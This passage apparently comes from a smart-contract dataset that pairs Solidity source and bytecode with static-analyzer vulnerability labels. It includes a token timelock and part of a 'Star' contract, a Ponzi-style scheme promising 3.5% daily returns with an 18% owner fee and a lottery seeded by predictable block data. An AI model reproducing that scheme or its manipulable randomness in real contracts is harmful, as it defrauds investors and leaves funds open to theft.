260026020526040902054959b509399509197509550935091506124af90876121ba565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546124de9086611f83565b6001600160a01b038916600090815260026020526040902055612500816125fd565b61250a8483612647565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161254f91815260200190565b60405180910390a3505050505050505050565b600754600090819066038d7ea4c6800061257c8282611f41565b8210156125975750506007549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006125bd8a600a54600b5461266b565b92509250925060006125cd612169565b905060008060006125e08e8787876126ba565b919e509c509a509598509396509194505050505091939550919395565b6000612607612169565b905060006126158383611ec2565b306000908152600260205260409020549091506126329082611f83565b30600090815260026020526040902055505050565b60075461265490836121ba565b6007556008546126649082611f83565b6008555050565b600080808061267f60646117bd8989611ec2565b9050600061269260646117bd8a89611ec2565b905060006126aa826126a48b866121ba565b906121ba565b9992985090965090945050505050565b60008080806126c98886611ec2565b905060006126d78887611ec2565b905060006126e58888611ec2565b905060006126f7826126a486866121ba565b939b939a50919850919650505050505050565b60006020828403121561271b578081fd5b8135611d1681612ad1565b600060208284031215612737578081fd5b8151611d1681612ad1565b60008060408385031215612754578081fd5b823561275f81612ad1565b9150602083013561276f81612ad1565b809150509250929050565b60008060006060848603121561278e578081fd5b833561279981612ad1565b925060208401356127a981612ad1565b929592945050506040919091013590565b600080604083850312156127cc578182fd5b82356127d781612ad1565b9150602083013561276f81612ae6565b600080604083850312156127f9578182fd5b823561280481612ad1565b946020939093013593505050565b60008060208385031215612824578182fd5b823567ffffffffffffffff8082111561283b578384fd5b818501915085601f83011261284e578384fd5b81358181111561285c578485fd5b8660208260051b8501011115612870578485fd5b60209290920196919550909350505050565b600060208284031215612893578081fd5b8135611d1681612ae6565b6000602082840312156128af578081fd5b8151611d1681612ae6565b6000602082840312156128cb578081fd5b5035919050565b6000806000606084860312156128e6578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000602080835283518082850152825b818110156129665785810183015185820160400152820161294a565b818111156129775783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015612a115784516001600160a01b0316835293830193918301916001016129ec565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612a4557612a45612abb565b500190565b600082612a6557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612a8457612a84612abb565b500290565b600082821015612a9b57612a9b612abb565b500390565b6000600019821415612ab457612ab4612abb565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461093e57600080fd5b801515811461093e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200e74a00117652714fdeb3023ed46234cd928bccfe6d0fd6239e2ce9d35e71b9864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,870 |
0xBbBDdcd3b124488808f2965F4BE4A11CB0500EcB | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev A token holder contract that will allow a beneficiary to withdraw the
* tokens after a given release time.
*/
contract UnsupervisedTimelock {
using SafeERC20 for IERC20;
// Seconds of a day
uint256 private constant SECONDS_OF_A_DAY = 86400;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// The start timestamp of token release period.
//
// Before this time, the beneficiary can NOT withdraw any token from this contract.
uint256 private immutable _releaseStartTime;
// The days that the timelock will last.
uint256 private immutable _daysOfTimelock;
// The OctToken contract
IERC20 private immutable _token;
// Total balance of benefit
uint256 private immutable _totalBenefit;
// The amount of withdrawed balance of the beneficiary.
//
// This value will be updated on each withdraw operation.
uint256 private _withdrawedBalance;
event BenefitWithdrawed(address indexed beneficiary, uint256 amount);
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseStartTime_,
uint256 daysOfTimelock_,
uint256 totalBenefit_
) {
_token = token_;
_beneficiary = beneficiary_;
_releaseStartTime =
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY);
require(
releaseStartTime_ -
(releaseStartTime_ % SECONDS_OF_A_DAY) +
daysOfTimelock_ *
SECONDS_OF_A_DAY >
block.timestamp,
"UnsupervisedTimelock: release end time is before current time"
);
_daysOfTimelock = daysOfTimelock_;
_totalBenefit = totalBenefit_;
_withdrawedBalance = 0;
}
/**
* @return the token being held.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the beneficiary address
*/
function beneficiary() public view returns (address) {
return _beneficiary;
}
/**
* @return the total balance of benefit
*/
function totalBenefit() public view returns (uint256) {
return _totalBenefit;
}
/**
* @return the balance to release for the beneficiary at the moment
*/
function releasedBalance() public view returns (uint256) {
if (block.timestamp <= _releaseStartTime) return 0;
if (
block.timestamp >
_releaseStartTime + SECONDS_OF_A_DAY * _daysOfTimelock
) {
return _totalBenefit;
}
uint256 passedDays = (block.timestamp - _releaseStartTime) /
SECONDS_OF_A_DAY;
return (_totalBenefit * passedDays) / _daysOfTimelock;
}
/**
* @return the unreleased balance of the beneficiary at the moment
*/
function unreleasedBalance() public view returns (uint256) {
return _totalBenefit - releasedBalance();
}
/**
* @return the withdrawed balance of beneficiary
*/
function withdrawedBalance() public view returns (uint256) {
return _withdrawedBalance;
}
/**
* @notice Withdraws tokens to beneficiary
*/
function withdraw() public {
uint256 balanceShouldBeReleased = releasedBalance();
require(
balanceShouldBeReleased > _withdrawedBalance,
"UnsupervisedTimelock: no more benefit can be withdrawed now"
);
uint256 balanceShouldBeTransfered = balanceShouldBeReleased -
_withdrawedBalance;
require(
token().balanceOf(address(this)) >= balanceShouldBeTransfered,
"UnsupervisedTimelock: deposited balance is not enough"
);
_withdrawedBalance = balanceShouldBeReleased;
token().safeTransfer(_beneficiary, balanceShouldBeTransfered);
emit BenefitWithdrawed(_beneficiary, balanceShouldBeTransfered);
}
} | 0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806391eeab851161005b57806391eeab85146100c85780639ab4b22f146100e6578063f50c8e2d14610104578063fc0c546a146101225761007d565b806338af3eed146100825780633ccfd60b146100a05780636b37cc14146100aa575b600080fd5b61008a610140565b6040516100979190610a1c565b60405180910390f35b6100a8610168565b005b6100b2610366565b6040516100bf9190610b3d565b60405180910390f35b6100d06103a0565b6040516100dd9190610b3d565b60405180910390f35b6100ee6103a9565b6040516100fb9190610b3d565b60405180910390f35b61010c610500565b6040516101199190610b3d565b60405180910390f35b61012a610528565b6040516101379190610a60565b60405180910390f35b60007f00000000000000000000000094b0161fc2e270b34e2574538b374208217a8c67905090565b60006101726103a9565b905060005481116101b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101af90610a9d565b60405180910390fd5b60008054826101c79190610c6b565b9050806101d2610528565b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161020a9190610a1c565b60206040518083038186803b15801561022257600080fd5b505afa158015610236573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061025a9190610896565b101561029b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161029290610abd565b60405180910390fd5b816000819055506102f47f00000000000000000000000094b0161fc2e270b34e2574538b374208217a8c67826102cf610528565b73ffffffffffffffffffffffffffffffffffffffff166105509092919063ffffffff16565b7f00000000000000000000000094b0161fc2e270b34e2574538b374208217a8c6773ffffffffffffffffffffffffffffffffffffffff167f26b111a6f79cb1f14e797207bb7f2095963c467ca641399e15f7b2a02fb44cf98260405161035a9190610b3d565b60405180910390a25050565b60006103706103a9565b7f00000000000000000000000000000000000000000001fc3842bd1f071c00000061039b9190610c6b565b905090565b60008054905090565b60007f00000000000000000000000000000000000000000000000000000000612ec28042116103db57600090506104fd565b7f00000000000000000000000000000000000000000000000000000000000004486201518061040a9190610c11565b7f00000000000000000000000000000000000000000000000000000000612ec2806104359190610b8a565b421115610464577f00000000000000000000000000000000000000000001fc3842bd1f071c00000090506104fd565b6000620151807f00000000000000000000000000000000000000000000000000000000612ec280426104969190610c6b565b6104a09190610be0565b90507f0000000000000000000000000000000000000000000000000000000000000448817f00000000000000000000000000000000000000000001fc3842bd1f071c0000006104ef9190610c11565b6104f99190610be0565b9150505b90565b60007f00000000000000000000000000000000000000000001fc3842bd1f071c000000905090565b60007f000000000000000000000000f5cfbc74057c610c8ef151a439252680ac68c6dc905090565b6105d18363a9059cbb60e01b848460405160240161056f929190610a37565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506105d6565b505050565b6000610638826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661069d9092919063ffffffff16565b90506000815111156106985780806020019051810190610658919061086d565b610697576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068e90610b1d565b60405180910390fd5b5b505050565b60606106ac84846000856106b5565b90509392505050565b6060824710156106fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f190610add565b60405180910390fd5b610703856107c9565b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990610afd565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff16858760405161076b9190610a05565b60006040518083038185875af1925050503d80600081146107a8576040519150601f19603f3d011682016040523d82523d6000602084013e6107ad565b606091505b50915091506107bd8282866107dc565b92505050949350505050565b600080823b905060008111915050919050565b606083156107ec5782905061083c565b6000835111156107ff5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108339190610a7b565b60405180910390fd5b9392505050565b60008151905061085281610f12565b92915050565b60008151905061086781610f29565b92915050565b60006020828403121561087f57600080fd5b600061088d84828501610843565b91505092915050565b6000602082840312156108a857600080fd5b60006108b684828501610858565b91505092915050565b6108c881610c9f565b82525050565b60006108d982610b58565b6108e38185610b6e565b93506108f3818560208601610d0b565b80840191505092915050565b61090881610ce7565b82525050565b600061091982610b63565b6109238185610b79565b9350610933818560208601610d0b565b61093c81610d9c565b840191505092915050565b6000610954603b83610b79565b915061095f82610dad565b604082019050919050565b6000610977603583610b79565b915061098282610dfc565b604082019050919050565b600061099a602683610b79565b91506109a582610e4b565b604082019050919050565b60006109bd601d83610b79565b91506109c882610e9a565b602082019050919050565b60006109e0602a83610b79565b91506109eb82610ec3565b604082019050919050565b6109ff81610cdd565b82525050565b6000610a1182846108ce565b915081905092915050565b6000602082019050610a3160008301846108bf565b92915050565b6000604082019050610a4c60008301856108bf565b610a5960208301846109f6565b9392505050565b6000602082019050610a7560008301846108ff565b92915050565b60006020820190508181036000830152610a95818461090e565b905092915050565b60006020820190508181036000830152610ab681610947565b9050919050565b60006020820190508181036000830152610ad68161096a565b9050919050565b60006020820190508181036000830152610af68161098d565b9050919050565b60006020820190508181036000830152610b16816109b0565b9050919050565b60006020820190508181036000830152610b36816109d3565b9050919050565b6000602082019050610b5260008301846109f6565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610b9582610cdd565b9150610ba083610cdd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610bd557610bd4610d3e565b5b828201905092915050565b6000610beb82610cdd565b9150610bf683610cdd565b925082610c0657610c05610d6d565b5b828204905092915050565b6000610c1c82610cdd565b9150610c2783610cdd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610c6057610c5f610d3e565b5b828202905092915050565b6000610c7682610cdd565b9150610c8183610cdd565b925082821015610c9457610c93610d3e565b5b828203905092915050565b6000610caa82610cbd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000610cf282610cf9565b9050919050565b6000610d0482610cbd565b9050919050565b60005b83811015610d29578082015181840152602081019050610d0e565b83811115610d38576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f556e7375706572766973656454696d656c6f636b3a206e6f206d6f726520626560008201527f6e656669742063616e2062652077697468647261776564206e6f770000000000602082015250565b7f556e7375706572766973656454696d656c6f636b3a206465706f73697465642060008201527f62616c616e6365206973206e6f7420656e6f7567680000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610f1b81610cb1565b8114610f2657600080fd5b50565b610f3281610cdd565b8114610f3d57600080fd5b5056fea2646970667358221220d64301bb2e01bd50ccf6f1b3e32ab3dd016930675ceb384fec7a4cb0beb8076064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 9,871 |
0x4a7b59efa94626b5ce4842ced3303ca8afd789ac | pragma solidity ^0.4.24;
contract Lottery {
using SafeMath for uint;
using SafeMath for uint8;
uint private lotteryBalance;
uint private ticketsCount;
address[] internal ticketsAddresses;
mapping(address => uint) internal tickets;
uint constant private DEPOSIT_MULTIPLY = 100 finney; // 0.1 eth
uint8 constant internal ITERATION_LIMIT = 150;
uint8 private generatorOffset = 0;
uint private randomNumber = 0;
Utils.winner private lastWinner;
function addLotteryParticipant(address addr, uint depositAmount) internal {
if (depositAmount >= DEPOSIT_MULTIPLY) {
uint investorTicketCount = depositAmount.div(DEPOSIT_MULTIPLY);
ticketsCount = ticketsCount.add(investorTicketCount);
ticketsAddresses.push(addr);
tickets[addr] = tickets[addr].add(investorTicketCount);
}
}
function getLotteryBalance() public view returns(uint) {
return lotteryBalance;
}
function increaseLotteryBalance(uint value) internal {
lotteryBalance = lotteryBalance.add(value);
}
function resetLotteryBalance() internal {
ticketsCount = 0;
lotteryBalance = 0;
}
function setLastWinner(address addr, uint balance, uint prize, uint date) internal {
lastWinner.addr = addr;
lastWinner.balance = balance;
lastWinner.prize = prize;
lastWinner.date = date;
}
function getLastWinner() public view returns(address, uint, uint, uint) {
return (lastWinner.addr, lastWinner.balance, lastWinner.prize, lastWinner.date);
}
function getRandomLotteryTicket() internal returns(address) {
address addr;
if (randomNumber != 0)
randomNumber = random(ticketsCount);
uint edge = 0;
for (uint8 key = generatorOffset; key < ticketsAddresses.length && key < ITERATION_LIMIT; key++) {
addr = ticketsAddresses[key];
edge = edge.add(tickets[addr]);
if (randomNumber <= edge) {
randomNumber = 0;
generatorOffset = 0;
return addr;
}
}
generatorOffset = key;
return 0;
}
function random(uint max) private view returns (uint) {
return uint(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % max + 1;
}
}
contract Stellar {
using SafeMath for uint;
uint private stellarInvestorBalance;
struct stellar {
address addr;
uint balance;
}
stellar private stellarInvestor;
Utils.winner private lastStellar;
event NewStellar(address addr, uint balance);
function checkForNewStellar(address addr, uint balance) internal {
if (balance > stellarInvestor.balance) {
stellarInvestor = stellar(addr, balance);
emit NewStellar(addr, balance);
}
}
function getStellarInvestor() public view returns(address, uint) {
return (stellarInvestor.addr, stellarInvestor.balance);
}
function getStellarBalance() public view returns(uint) {
return stellarInvestorBalance;
}
function increaseStellarBalance(uint value) internal {
stellarInvestorBalance = stellarInvestorBalance.add(value);
}
function resetStellarBalance() internal {
stellarInvestorBalance = 0;
}
function resetStellarInvestor() internal {
stellarInvestor.addr = 0;
stellarInvestor.balance = 0;
}
function setLastStellar(address addr, uint balance, uint prize, uint date) internal {
lastStellar.addr = addr;
lastStellar.balance = balance;
lastStellar.prize = prize;
lastStellar.date = date;
}
function getLastStellar() public view returns(address, uint, uint, uint) {
return (lastStellar.addr, lastStellar.balance, lastStellar.prize, lastStellar.date);
}
}
contract Star is Lottery, Stellar {
using Math for Math.percent;
using SafeMath for uint;
uint constant private MIN_DEPOSIT = 10 finney; // 0.01 eth
uint constant private PAYOUT_INTERVAL = 23 hours;
uint constant private WITHDRAW_INTERVAL = 12 hours;
uint constant private PAYOUT_TRANSACTION_LIMIT = 100;
Math.percent private DAILY_PERCENT = Math.percent(35, 10); // Math.percent(35, 10) = 35 / 10 = 3.5%
Math.percent private FEE_PERCENT = Math.percent(18, 1);
Math.percent private LOTTERY_PERCENT = Math.percent(1, 1);
Math.percent private STELLAR_INVESTOR_PERCENT = Math.percent(1, 1);
address internal owner;
uint8 cycle;
address[] internal addresses;
uint internal investorCount;
uint internal lastPayoutDate;
uint internal lastDepositDate;
bool public isCycleFinish = false;
struct investor {
uint id;
uint balance;
uint depositCount;
uint lastDepositDate;
}
mapping(address => investor) internal investors;
event Invest(address addr, uint amount);
event InvestorPayout(address addr, uint amount, uint date);
event Payout(uint amount, uint transactionCount, uint date);
event Withdraw(address addr, uint amount);
event NextCycle(uint8 cycle, uint now, uint);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
addresses.length = 1;
}
function() payable public {
require(isCycleFinish == false, "Cycle completed. The new cycle will start within 24 hours.");
if (msg.value == 0) {
withdraw(msg.sender);
return;
}
deposit(msg.sender, msg.value);
}
function restartCycle() public onlyOwner returns(bool) {
if (isCycleFinish == true) {
newCycle();
return false;
}
return true;
}
function payout(uint startPosition) public onlyOwner {
require(isCycleFinish == false, "Cycle completed. The new cycle will start within 24 hours.");
uint transactionCount;
uint investorsPayout;
uint dividendsAmount;
if (startPosition == 0)
startPosition = 1;
for (uint key = startPosition; key <= investorCount && transactionCount < PAYOUT_TRANSACTION_LIMIT; key++) {
address addr = addresses[key];
if (investors[addr].lastDepositDate + PAYOUT_INTERVAL > now) {
continue;
}
dividendsAmount = getInvestorDividends(addr);
if (address(this).balance < dividendsAmount) {
isCycleFinish = true;
return;
}
addr.transfer(dividendsAmount);
emit InvestorPayout(addr, dividendsAmount, now);
investors[addr].lastDepositDate = now;
investorsPayout = investorsPayout.add(dividendsAmount);
transactionCount++;
}
lastPayoutDate = now;
emit Payout(investorsPayout, transactionCount, lastPayoutDate);
}
function deposit(address addr, uint amount) internal {
require(amount >= MIN_DEPOSIT, "Too small amount, minimum 0.01 eth");
investor storage user = investors[addr];
if (user.id == 0) {
user.id = addresses.length;
addresses.push(addr);
investorCount ++;
}
uint depositFee = FEE_PERCENT.getPercentFrom(amount);
increaseLotteryBalance(LOTTERY_PERCENT.getPercentFrom(amount));
increaseStellarBalance(STELLAR_INVESTOR_PERCENT.getPercentFrom(amount));
addLotteryParticipant(addr, amount);
user.balance = user.balance.add(amount);
user.depositCount ++;
user.lastDepositDate = now;
lastDepositDate = now;
checkForNewStellar(addr, user.balance);
emit Invest(msg.sender, msg.value);
owner.transfer(depositFee);
}
function withdraw(address addr) internal {
require(isCycleFinish == false, "Cycle completed. The new cycle will start within 24 hours.");
investor storage user = investors[addr];
require(user.id > 0, "Account not found");
require(now.sub(user.lastDepositDate).div(WITHDRAW_INTERVAL) > 0, "The latest payment was earlier than 12 hours");
uint dividendsAmount = getInvestorDividends(addr);
if (address(this).balance < dividendsAmount) {
isCycleFinish = true;
return;
}
addr.transfer(dividendsAmount);
user.lastDepositDate = now;
emit Withdraw(addr, dividendsAmount);
}
function runLottery() public onlyOwner returns(bool) {
return processLotteryReward();
}
function processLotteryReward() private returns(bool) {
if (getLotteryBalance() > 0) {
address winnerAddress = getRandomLotteryTicket();
if (winnerAddress == 0)
return false;
winnerAddress.transfer(getLotteryBalance());
setLastWinner(winnerAddress, investors[winnerAddress].balance, getLotteryBalance(), now);
resetLotteryBalance();
return true;
}
return false;
}
function giveStellarReward() public onlyOwner {
processStellarReward();
}
function processStellarReward() private {
uint balance = getStellarBalance();
if (balance > 0) {
(address addr, uint investorBalance) = getStellarInvestor();
addr.transfer(balance);
setLastStellar(addr, investors[addr].balance, getStellarBalance(), now);
resetStellarBalance();
}
}
function getInvestorCount() public view returns (uint) {
return investorCount;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
function getLastPayoutDate() public view returns (uint) {
return lastPayoutDate;
}
function getLastDepositDate() public view returns (uint) {
return lastDepositDate;
}
function getInvestorDividends(address addr) public view returns(uint) {
